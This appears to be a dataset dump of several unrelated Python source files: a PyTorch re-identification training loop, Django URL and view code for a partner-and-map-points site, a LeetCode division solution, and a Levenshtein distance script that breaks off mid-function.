isinstance(clf_outputs[output_fc],tuple): \n cross_entropy_loss = DeepSuperVision(cross_entropy,clf_outputs[output_fc],pids)\n else:\n cross_entropy_loss = cross_entropy(clf_outputs[output_fc],pids)\n \n if isinstance(features,tuple):\n triplet_loss = DeepSuperVision(triplet_loss_fn,features,pids)\n else:\n triplet_loss = triplet_loss_fn(clf_outputs[output_fc],pids)\n \n loss = cross_entropy_loss + triplet_loss\n \n optim.zero_grad()\n loss.backward()\n optim.step()\n\n batch_time.update(time.time()-end)\n end = time.time()\n\n losses.update(loss.item(),pids.size(0))\n\n if (batch+1) % print_freq == 0:\n print('Epoch: [{0}][{1}/{2}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'.format(\n epoch+1, batch+1, len(trainloader), batch_time=batch_time,\n data_time=data_time, loss=losses))\n######################################################################################################\ndef test(model, queryloader,galleryloader,ranks=[1,5,10,20]):\n batch_time = AverageMeter()\n\n model.eval()\n\n with torch.no_grad():\n qf,q_pids,q_camids = [],[],[]\n for batch,(imgs,pids,camids) in enumerate(queryloader):\n imgs = imgs.cuda()\n\n end = time.time()\n clf_outputs,f = model(imgs)\n batch_time.update(time.time()-end)\n\n output_fc = \"fc0\"\n\n f = clf_outputs[output_fc].data.cpu()\n qf.append(f)\n q_pids.extend(pids)\n q_camids.extend(camids)\n qf = torch.cat(qf,0)\n q_pids = np.asarray(q_pids)\n q_camids = np.asarray(q_camids)\n\n print(\"Extracted features for query set, obtained {}-by-{} matrix\".format(qf.size(0), qf.size(1)))\n\n gf,g_pids,g_camids = [],[],[]\n end = time.time()\n for batch,(imgs,pids,camids) in enumerate(galleryloader):\n imgs = imgs.cuda()\n \n end = time.time()\n clf_outputs,f = model(imgs)\n batch_time.update(time.time()-end)\n\n f = clf_outputs[output_fc].data.cpu()\n gf.append(f)\n g_pids.extend(pids)\n g_camids.extend(camids)\n gf = torch.cat(gf,0)\n g_pids = np.asarray(g_pids)\n g_camids = np.asarray(g_camids)\n\n print(\"Extracted features for gallery set, obtained {}-by-{} matrix\".format(gf.size(0), gf.size(1)))\n ##############################################################################################################################\n print(\"==> BatchTime(s)/BatchSize(img): {:.3f}/{}\".format(batch_time.avg, test_batch))\n print(\"==> BatchTime(s)/BatchSize(img): {:.3f}/{}\".format(batch_time.avg, test_batch))\n\n m, n = qf.size(0), gf.size(0)\n distmat = torch.pow(qf, 2).sum(dim=1, keepdim=True).expand(m, n) + \\\n torch.pow(gf, 2).sum(dim=1, keepdim=True).expand(n, m).t()\n distmat.addmm_(1, -2, qf, gf.t())\n distmat = distmat.numpy()\n\n print(\"Computing CMC and mAP\")\n cmc, mAP = evaluate(distmat, q_pids, g_pids, q_camids, g_camids, use_metric_cuhk03=use_metric_cuhk03)\n\n print(\"Results ----------\")\n print(\"mAP: {:.1%}\".format(mAP))\n print(\"CMC curve\")\n for r in ranks:\n print(\"Rank-{:<3}: {:.1%}\".format(r, cmc[r-1]))\n print(\"------------------\")\n\n return cmc[0]\n\n#######################################################################################################\n\nprint(\"Model is being initialized\") \n\nmodel = ResNet.ResNet50().to(device)\n#SAVED_MODEL_PATH = 'saved_models/p1.pth.tar'\n\n#checkpoint = torch.load(SAVED_MODEL_PATH)\n#model.load_state_dict(checkpoint['state_dict'])\n#start_epoch = checkpoint['epoch']\n\nprint(\"Model size: {:.5f}M\".format(sum(p.numel() for p in model.parameters())/1000000.0))\n\n\noptim = torch.optim.Adam(model.parameters())\n\nif stepsize>0:\n scheduler = lr_scheduler.StepLR(optim,step_size=stepsize, gamma=0.1)\n\n\nnum_epochs = 242\n\n# Argument parsing for loading model\n\"\"\"\nif args.resume:\n print(\"Loading checkpoint from '{}'\".format(args.resume))\n checkpoint = torch.load(args.resume)\n model.load_state_dict(checkpoint['state_dict'])\n start_epoch = checkpoint['epoch']\n\"\"\"\n\nstart_time = time.time()\ntrain_time=0\nbest_rank1 = -np.inf\nbest_epoch=0\n\nprint(\"Training of model in progress\")\n\nfor epoch in range(start_epoch,num_epochs) :\n start_train_time = time.time()\n train(epoch,model,optim,trainloader)\n # train_time = round(time.time()-start_train_time)\n \n if stepsize>0:\n scheduler.step()\n\n #if (epoch+1) > start_eval and eval_step>0 and (epoch+1)%eval_step ==0 or (epoch+1) == max_epoch:\n if (epoch == 240):\n #if epoch==65:\n print(\"Testing of model in progress\")\n rank1 = test(model, queryloader,galleryloader)\n best = rank1 > best_rank1\n if best:\n best_rank1 = rank1\n best_epoch = epoch+1\n\n \n state_dict = model.state_dict()\n save_checkpoint({\n 'state_dict':state_dict,\n 'rank1':rank1,\n 'epoch':epoch,\n },best,osp.join(PATH,'checkpoint'+str(epoch+1)+'pth.tar'))\n\n print(\"Best Rank-1 {:.1%},acheived at epoch \".format(best_rank1,best_epoch))\n elapsed = round(time.time() - start_time)\n elapsed = str(datetime.timedelta(seconds=elapsed))\n #train_time = str(datetime.timedelta(seconds=train_time))\n #print(\"Finished. Total elapsed time (h:m:s): {}. Training time (h:m:s): {}.\".format(elapsed, train_time))\n\n\n \n\n \n\n\n\n","sub_path":"lwf_train_modules/train_phase1.py","file_name":"train_phase1.py","file_ext":"py","file_size_in_byte":9205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"318606899","text":"#gettingstarted/urls.py\r\nfrom django.conf.urls import include, url\r\n\r\n\r\nfrom django.contrib import admin\r\nadmin.autodiscover()\r\n\r\nimport main.views\r\n\r\nurlpatterns = [\r\n url(r'^$', main.views.index, name='index'),\r\n url(r'^db', main.views.db, name='db'),\r\n\turl(r'^Final_Project/', main.views.Final_Project, name = 'Final_Project'),\r\n\turl(r'^home/', main.views.home, name = 'home'),\r\n\turl(r'^stacked_line/', main.views.stacked_line, name = 'stacked_line'),\r\n\turl(r'^doughnut/', main.views.doughnut, name = 'doughnut'),\r\n\turl(r'^area/', main.views.area, name = 'area'),\r\n\turl(r'^about/', main.views.about, name = 'about'),\r\n\r\n\t]\r\n","sub_path":"gettingstarted/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"196942346","text":"''''\nGiven two integers dividend and divisor, divide two integers without using multiplication, division and mod operator.\n\nReturn the quotient after dividing dividend by divisor.\n\nThe integer division should truncate toward zero.\n\nExample 1:\n\nInput: dividend = 10, divisor = 3\nOutput: 3\nExample 2:\n\nInput: dividend = 7, divisor = -3\nOutput: -2\nNote:\n\nBoth dividend and divisor will be 32-bit signed integers.\nThe divisor will never be 0.\nAssume we are dealing with an environment which could only store integers within the 32-bit signed integer range: [−231, 231 − 1]. For the purpose of this problem, assume that your function returns 231 − 1 when the division result overflows.\n'''\n\nclass Solution(object):\n\tdef divide(self, dividend, divisor):\n\t\tpositive = (dividend < 0) is (divisor < 0)\n\t\tdividend, divisor = abs(dividend), abs(divisor)\n\t\tres = 0\n\t\twhile dividend >= divisor:\n\t\t\ttemp, i = divisor, 1\n\t\t\twhile dividend >= temp:\n\t\t\t\tdividend -= temp\n\t\t\t\tres += i\n\t\t\t\ti <<= 1\n\t\t\t\ttemp <<= 1\n\t\tif not positive:\n\t\t\tres = -res\n\t\treturn min(max(-pow(2, 31), res), pow(2, 31) - 1)\n\n\tdef divide2(self, a, b):\n\t\tsig = (a < 0) == (b < 0)\n\t\ta, b, res = abs(a), abs(b), 0\n\t\twhile a >= b:\n\t\t\tx = 0\n\t\t\twhile a >= b << (x + 1): x += 1\n\t\t\tres += 1 << x\n\t\t\ta -= b << x\n\t\treturn min(res if sig else -res, 2147483647)\n\nprint(Solution().divide(10, 3))","sub_path":"LeetCodes/facebook/Divide Two Integers.py","file_name":"Divide Two Integers.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"458332896","text":"from django.shortcuts import render\nfrom django.template.context_processors import csrf\nfrom soyzniki.main.auth import is_login, user_id\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.contrib import messages\nfrom partner.forms import FormPatrner, LoginSearch, DataSearch\nfrom partner.forms import FormPatrnerEdit, DelPartner, AddPoint\nfrom user.models import User\nfrom partner.models import Partner, Point\nfrom soyzniki.main.pages import count_page, get_html_pages\nfrom django.core.cache import cache\n\n\nCOUNT_ELEMENTS = 20\n\n\ndef all(request):\n '''\n вывод всех партнерских страниц пользователя\n '''\n user = User.objects.get(id=user_id(request))\n partners = user.users.filter(active=True)\n data = {\n 'login': True,\n 'user': user,\n 'account_class': 'active',\n 'partners': partners,\n }\n data.update(csrf(request))\n return render(request, 'partner_all.html', data)\n\n\ndef add(request):\n '''\n создание новой страницы партнера\n '''\n if is_login(request):\n user = User.objects.get(id=user_id(request))\n if request.method == 'POST':\n form_partner = FormPatrner(request.POST)\n if form_partner.is_valid():\n form_partner.save(user_id(request))\n messages.info(request, 'Страница партера создана')\n return HttpResponseRedirect('/partner/{}/'.format(request.POST.get('unp_unn')))\n else:\n data = {\n 'form_partner': form_partner,\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n }\n data.update(csrf(request))\n return render(request, 'partner_add.html', data)\n else:\n form_partner = FormPatrner()\n data = {\n 'form_partner': form_partner,\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n }\n data.update(csrf(request))\n return render(request, 'partner_add.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef parther_page(request, unp_unn):\n '''\n страница партнера\n '''\n if is_login(request):\n user = User.objects.get(id=user_id(request))\n try:\n partner = user.users.get(unp_unn=int(unp_unn), active=True)\n except Exception:\n pass\n data = {\n 'login': True,\n 'user': user,\n 'account_class': 'active',\n }\n if partner:\n data['partner'] = partner\n data['partner_admin'] = True\n else:\n try:\n data['partner'] = Partner.objects.get(\n unp_unn=int(unp_unn)\n )\n except Partner.DoesNotExist:\n raise Http404\n data.update(csrf(request))\n return render(request, 'partner_page.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef admin(request, unp_unn):\n '''\n добавление администратора партнерской страницы\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n if request.method == 'POST':\n # Если поиск по логину\n if request.POST.get('login_search'):\n form_login_search = LoginSearch(request.POST)\n if form_login_search.is_valid():\n cleaned_data = form_login_search.clean()\n cache.set(\n 'search_one_user_{}'.format(user_id(request)),\n cleaned_data.get('user'),\n 1\n )\n return HttpResponseRedirect(\n '/partner/{}/admin/'.format(unp_unn)\n )\n else:\n form_data_search = DataSearch()\n data = {\n 'login': True,\n 'name_server': request.META['SERVER_NAME'],\n 'partner': partner,\n 'user': user,\n 'account_class': 'active',\n 'form_data_search': form_data_search,\n 'form_login_search': form_login_search,\n }\n if user in partner.user.all():\n data['partner_admin'] = True\n else:\n raise Http404\n data.update(csrf(request))\n return render(request, 'partner_admin.html', data)\n # конец поиска по логину\n elif request.POST.get('data_search'):\n users = False\n if request.POST.get('city_id'):\n users = User.objects.filter(\n city_id=request.POST.get('city_id'))\n elif request.POST.get('district_id'):\n users = User.objects.filter(\n district_id=request.POST.get('district_id'))\n elif request.POST.get('region_id'):\n users = User.objects.filter(\n region_id=request.POST.get('region_id'))\n elif request.POST.get('country_id'):\n users = User.objects.filter(\n country_id=request.POST.get('country_id'))\n if users:\n if request.POST.get('name'):\n tmp = users.filter(\n name__icontains=request.POST.get('name')\n )\n if tmp:\n users = tmp\n del tmp\n if request.POST.get('family'):\n tmp = users.filter(\n family__icontains=request.POST.get('family')\n )\n if tmp:\n users = tmp\n del tmp\n if request.POST.get('email'):\n tmp = users.filter(\n email__icontains=request.POST.get('email')\n )\n if tmp:\n users = tmp\n del tmp\n if request.POST.get('telephone'):\n tmp = users.filter(\n telephone__icontains=request.POST.get('telephone')\n )\n if tmp:\n users = tmp\n del tmp\n if users:\n cache.set(\n 'search_users_{}'.format(user_id(request)),\n users,\n 1\n )\n else:\n messages.info(request, 'По вашему запросу ничего не найдено')\n return HttpResponseRedirect(\n '/partner/{}/admin/'.format(unp_unn)\n )\n elif request.POST.get('user_add'):\n fields = {}\n for field in request.POST:\n fields[field] = request.POST.get(field)\n del fields['csrfmiddlewaretoken']\n del fields['user_add']\n if fields:\n for user_login in fields:\n user_add = User.objects.get(login=user_login)\n partner.user.add(user_add)\n partner.save()\n messages.info(request, 'Выбранные пользователи добавлены')\n return HttpResponseRedirect(\n '/partner/{}/admin/'.format(unp_unn)\n )\n else:\n form_login_search = LoginSearch()\n form_data_search = DataSearch()\n data = {\n 'login': True,\n 'name_server': request.META['SERVER_NAME'],\n 'partner': partner,\n 'user': user,\n 'account_class': 'active',\n 'form_data_search': form_data_search,\n 'form_login_search': form_login_search,\n 'found_user': cache.get('search_one_user_{}'.format(\n user_id(request))),\n 'found_users': cache.get('search_users_{}'.format(\n user_id(request)))\n }\n if user in partner.user.all():\n data['partner_admin'] = True\n else:\n raise Http404\n data.update(csrf(request))\n return render(request, 'partner_admin.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef delete_admin(request, unp_unn, login):\n '''\n удаление администратора партнерской страницы\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user_admin = User.objects.get(id=user_id(request))\n if user_admin not in partner.user.all():\n raise Http404\n user = User.objects.get(login=login)\n if user in partner.user.all():\n partner.user.remove(user)\n partner.save()\n else:\n raise Http404\n return HttpResponseRedirect(\n '/partner/{}/admin/'.format(unp_unn)\n )\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef edit(request, unp_unn):\n '''\n редактирование партнерской страницы\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n if request.method == 'POST':\n form_partner = FormPatrnerEdit(request.POST)\n if form_partner.is_valid():\n cleaned_data = form_partner.clean()\n partner.contact_person = cleaned_data.get('contact_person')\n partner.thelephones = cleaned_data.get('thelephones')\n partner.email = cleaned_data.get('email')\n partner.country_id = cleaned_data.get('country_id')\n partner.region_id = cleaned_data.get('region_id')\n partner.district_id = cleaned_data.get('district_id')\n partner.city_id = cleaned_data.get('city_id')\n partner.street = cleaned_data.get('street')\n partner.save()\n messages.info(request, 'Данные изменены')\n return HttpResponseRedirect('/partner/{}/'.format(partner.unp_unn))\n else:\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'form_partner': form_partner,\n 'partner': partner,\n }\n data.update(csrf(request))\n return render(request, 'partner_add.html', data)\n else:\n initial_data = {\n 'contact_person': partner.contact_person,\n 'thelephones': partner.thelephones,\n 'email': partner.email,\n 'country': partner.country.name_ru,\n 'region': partner.region.name_ru,\n 'district': partner.district.name_ru,\n 'city': partner.city.name_ru,\n 'street': partner.street,\n 'country_id': partner.country_id,\n 'region_id': partner.region_id,\n 'district_id': partner.district_id,\n 'city_id': partner.city_id,\n }\n form_partner = FormPatrnerEdit(initial=initial_data)\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'form_partner': form_partner,\n 'partner': partner,\n }\n data.update(csrf(request))\n return render(request, 'partner_edit.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef delete(request, unp_unn):\n '''\n удаление (скрытие) партнерской страницы\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n if request.method == 'POST':\n form_del_partner = DelPartner(request.POST)\n if form_del_partner.is_valid():\n partner.active = False\n partner.save()\n return HttpResponseRedirect('/partner/all/')\n else:\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'form_del_partner': form_del_partner,\n }\n data.update(csrf(request))\n return render(request, 'partner_delete.html', data)\n else:\n form_del_partner = DelPartner(initial={'user_id': user_id(request)})\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'form_del_partner': form_del_partner,\n }\n data.update(csrf(request))\n return render(request, 'partner_delete.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\n'''\nТочки в кабинете партнера\n...............................................\n..00000......0000....00..000.....00....0000....\n..00..00...00....00......0000....00..00....00..\n..00...00..00....00..00..00.00...00..00........\n..00..00...00....00..00..00..00..00...000000...\n..00000....00....00..00..00...00.00........00..\n..00.......00....00..00..00....0000..00....00..\n..00.........0000....00..00.....000....0000....\n...............................................\n'''\n\n\ndef points(request, unp_unn, page):\n '''\n все точки партнера\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n count_pages = count_page(\n Point.objects.filter(partner_id=partner.id).count(),\n COUNT_ELEMENTS\n )\n start = int(page) * COUNT_ELEMENTS - COUNT_ELEMENTS\n finish = start + COUNT_ELEMENTS\n points = Point.objects.filter(partner_id=partner.id).order_by('-id')[start:finish]\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'points': points,\n 'pages': get_html_pages(\n int(page),\n count_pages,\n '/partner/{}/points/all/'.format(unp_unn)\n ),\n }\n data.update(csrf(request))\n return render(request, 'points/points_all.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_filter_servis(request, unp_unn, servis, page):\n '''\n фильтр точек по названию сервиса\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n servis = servis.replace('_', ' ')\n count_pages = count_page(\n Point.objects.filter(\n partner_id=partner.id,\n servis__name_en=servis\n ).count(),\n COUNT_ELEMENTS\n )\n start = int(page) * COUNT_ELEMENTS - COUNT_ELEMENTS\n finish = start + COUNT_ELEMENTS\n points = Point.objects.filter(\n partner_id=partner.id,\n servis__name_en=servis\n ).order_by('-id')[start:finish]\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'points': points,\n 'pages': get_html_pages(\n int(page),\n count_pages,\n '/partner/{0}/points/servis/{1}/'.format(\n unp_unn,\n servis.replace(' ', '_').lower()\n )\n ),\n 'filter': True,\n }\n data.update(csrf(request))\n return render(request, 'points/points_all.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_filter_country(request, unp_unn, country, page):\n '''\n фильтр точек по названию страны\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n country = country.replace('_', ' ')\n count_pages = count_page(\n Point.objects.filter(\n partner_id=partner.id,\n country__name_en=country\n ).count(),\n COUNT_ELEMENTS\n )\n start = int(page) * COUNT_ELEMENTS - COUNT_ELEMENTS\n finish = start + COUNT_ELEMENTS\n points = Point.objects.filter(\n partner_id=partner.id,\n country__name_en=country\n ).order_by('-id')[start:finish]\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'points': points,\n 'pages': get_html_pages(\n int(page),\n count_pages,\n '/partner/{0}/points/country/{1}/'.format(\n unp_unn,\n country.replace(' ', '_').lower()\n )\n ),\n 'filter': True,\n }\n data.update(csrf(request))\n return render(request, 'points/points_all.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_filter_region(request, unp_unn, region, page):\n '''\n фильтр точек по названию региона\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n region = region.replace('_', ' ')\n count_pages = count_page(\n Point.objects.filter(\n partner_id=partner.id,\n region__name_en=region\n ).count(),\n COUNT_ELEMENTS\n )\n start = int(page) * COUNT_ELEMENTS - COUNT_ELEMENTS\n finish = start + COUNT_ELEMENTS\n points = Point.objects.filter(\n partner_id=partner.id,\n region__name_en=region\n ).order_by('-id')[start:finish]\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'points': points,\n 'pages': get_html_pages(\n int(page),\n count_pages,\n '/partner/{0}/points/region/{1}/'.format(\n unp_unn,\n region.replace(' ', '_').lower()\n )\n ),\n 'filter': True,\n }\n data.update(csrf(request))\n return render(request, 'points/points_all.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_add(request, unp_unn):\n '''\n добавление новой точки\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n if request.method == 'POST':\n if cache.get('back_add_{}'.format(user_id(request))) is not None:\n back = cache.get('back_add_{}'.format(user_id(request)))\n else:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n form_add_point = AddPoint(request.POST)\n if form_add_point.is_valid():\n form_add_point.save(partner.id)\n messages.info(request, 'Точка успешно добавлена на карту')\n return HttpResponseRedirect(back)\n else:\n cache.set(\n 'back_add_{}'.format(user_id(request)),\n back,\n 1200\n )\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'back': back,\n 'form_add_point': form_add_point,\n }\n data.update(csrf(request))\n return render(request, 'points/point_add.html', data)\n else:\n try:\n back = request.META['HTTP_REFERER']\n cache.set(\n 'back_add_{}'.format(user_id(request)),\n back,\n 1200\n )\n except KeyError:\n back = False\n form_add_point = AddPoint()\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'back': back,\n 'form_add_point': form_add_point,\n }\n data.update(csrf(request))\n return render(request, 'points/point_add.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_view(request, id_point):\n # def point_view(request, unp_unn, id_point):\n '''\n просмотр точки\n '''\n # if is_login(request):\n point = Point.objects.get(id=int(id_point))\n partner = point.partner\n # try:\n # partner = Partner.objects.get(\n # unp_unn=int(unp_unn),\n # active=True\n # )\n # except Partner.DoesNotExist:\n # raise Http404\n # user = User.objects.get(id=user_id(request))\n # if user not in partner.user.all():\n # raise Http404\n try:\n back = request.META['HTTP_REFERER']\n except KeyError:\n back = '/partner/{}/points/all/1/'.format(partner.unp_unn)\n point.time_work_in_html()\n data = {\n # 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'back': back,\n 'point': point,\n }\n data.update(csrf(request))\n return render(request, 'points/point_view.html', data)\n # else:\n # return HttpResponseRedirect('/user/login/')\n\n\ndef point_edit(request, unp_unn, id_point):\n '''\n редактирование данных точки\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n point = Point.objects.get(id=int(id_point))\n if user not in partner.user.all():\n raise Http404\n if request.method == 'POST':\n if cache.get('back_edit_{}'.format(user_id(request))) is not None:\n back = cache.get('back_edit_{}'.format(user_id(request)))\n else:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n form_edit_point = AddPoint(request.POST)\n if form_edit_point.is_valid():\n form_edit_point.update(point.id)\n messages.info(request, 'Данные изменены')\n return HttpResponseRedirect(back)\n else:\n cache.set(\n 'back_edit_{}'.format(user_id(request)),\n back,\n 1200\n )\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'back': back,\n 'form_edit_point': form_edit_point,\n 'point': point,\n }\n data.update(csrf(request))\n return render(request, 'points/point_edit.html', data)\n else:\n try:\n back = request.META['HTTP_REFERER']\n cache.set(\n 'back_edit_{}'.format(user_id(request)),\n back,\n 1200\n )\n except KeyError:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n form_edit_point = AddPoint(initial={\n 'country': point.country,\n 'region': point.region,\n 'district': point.district,\n 'city': point.city,\n 'servis': point.servis,\n 'name': point.name,\n 'transport': point.transport,\n 'country_id': point.country_id,\n 'region_id': point.region_id,\n 'district_id': point.district_id,\n 'city_id': point.city_id,\n 'street': point.street,\n 'time_work': point.time_work,\n 'thelephones': point.thelephones,\n 'url': point.url,\n 'desc': point.desc,\n 'lat': point.lat,\n 'lon': point.lon,\n })\n data = {\n 'user': user,\n 'account_class': 'active',\n 'login': True,\n 'partner': partner,\n 'back': back,\n 'form_edit_point': form_edit_point,\n 'point': point,\n }\n data.update(csrf(request))\n return render(request, 'points/point_edit.html', data)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_delete(request, unp_unn, id_point):\n '''\n удаление точки\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n try:\n back = request.META['HTTP_REFERER']\n except KeyError:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n point = Point.objects.get(id=int(id_point))\n if point.partner_id != partner.id:\n raise Http404\n else:\n cache.set(\n 'point_{0}_{1}'.format(unp_unn, id_point),\n point,\n 2592000\n )\n point.delete()\n return HttpResponseRedirect(back)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_hide(request, unp_unn, id_point):\n '''\n скрытие точки\n '''\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n try:\n back = request.META['HTTP_REFERER']\n except KeyError:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n point = Point.objects.get(id=int(id_point))\n if point.partner_id != partner.id:\n raise Http404\n else:\n point.active = False\n point.save()\n return HttpResponseRedirect(back)\n else:\n return HttpResponseRedirect('/user/login/')\n\n\ndef point_visible(request, unp_unn, id_point):\n if is_login(request):\n try:\n partner = Partner.objects.get(\n unp_unn=int(unp_unn),\n active=True\n )\n except Partner.DoesNotExist:\n raise Http404\n user = User.objects.get(id=user_id(request))\n if user not in partner.user.all():\n raise Http404\n try:\n back = request.META['HTTP_REFERER']\n except KeyError:\n back = '/partner/{}/points/all/1/'.format(unp_unn)\n point = Point.objects.get(id=int(id_point))\n if point.partner_id != partner.id:\n raise Http404\n else:\n point.active = True\n point.save()\n return HttpResponseRedirect(back)\n else:\n return HttpResponseRedirect('/user/login/')\n","sub_path":"partner/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":30577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"163040764","text":"\"\"\" Code for finding levenshtein distance of SMT(statistical machine translation)\r\n from two distinct files (two text file). #completed with python 3.7.4.\r\n Author: মোঃ আকিব মুজতবা\"\"\"\r\n\r\nimport numpy as np\r\nfrom nltk.tokenize import sent_tokenize\r\n\r\n''' Form the below code, take input two files \r\n ONe is the main file and another one is the reference file.\r\n here every one can use his/her own named file name'''\r\nout_text = open(\"englishOutput.txt\", \"r\")\r\nref_text = open(\"refenceOutput.txt\", \"r\")\r\n\r\ntext = sent_tokenize(out_text.read())\r\ntext2 = sent_tokenize(ref_text.read())\r\n\r\n\r\ndef levenshtein_distance(ref_text, out_text):\r\n seq1 = ref_text.split()\r\n seq2 = out_text.split()\r\n\r\n seq2 = [word.replace(\".\", \"\") for word in seq2]\r\n seq1 = [word.replace(\".\", \"\") for word in seq1]\r\n\r\n size_x = len(seq1) + 1\r\n size_y = len(seq2) + 1\r\n\r\n additions = 0\r\n subtractions = 0\r\n deletions = 0\r\n match = 0\r\n\r\n matrix = np.zeros((size_x, size_y))\r\n for x in range(size_x):\r\n matrix[x, 0] = x\r\n for y in range(size_y):\r\n matrix[0, y] = y\r\n\r\n ''' the below code I got from the internet, for details about the \r\n levenshtein distance one may check out the URL [https://stackabuse.com/levenshtein-distance-and-text-similarity-in-python/]'''\r\n for x in range(1, size_x):\r\n for y in range(1, size_y):\r\n if seq1[x - 1] == seq2[y - 1]:\r\n matrix[x, y] = min(\r\n matrix[x - 1, y] + 1,\r\n matrix[x - 1, y - 1],\r\n matrix[x, y - 1] + 1\r\n )\r\n else:\r\n a = matrix[x - 1, y] + 1\r\n b = matrix[x - 1, y - 1] + 1\r\n c = matrix[x, y - 1] + 1\r\n matrix[x, y] = min(a, b, c)\r\n\r\n ''' This section I used to find the details counting about the\r\n insertion, subtraction, deletion values. '''\r\n x = size_x - 1\r\n y = size_y - 1\r\n\r\n while (x > 0) or (y > 0):\r\n if seq1[x - 1] == seq2[y - 1]:\r\n\r\n match = match + 1\r\n x = x - 1\r\n y = y - 1\r\n # print(seq1[x - 1], seq2[y - 1])\r\n else:\r\n value = matrix[x, y]\r\n a = matrix[x - 1, y] + 1\r\n b = matrix[x - 1, y - 1] + 1\r\n c = matrix[x, y - 1] + 1\r\n\r\n if value == a:\r\n additions = additions + 1\r\n x = x - 1\r\n # print(seq1[x - 1], seq2[y - 1])\r\n 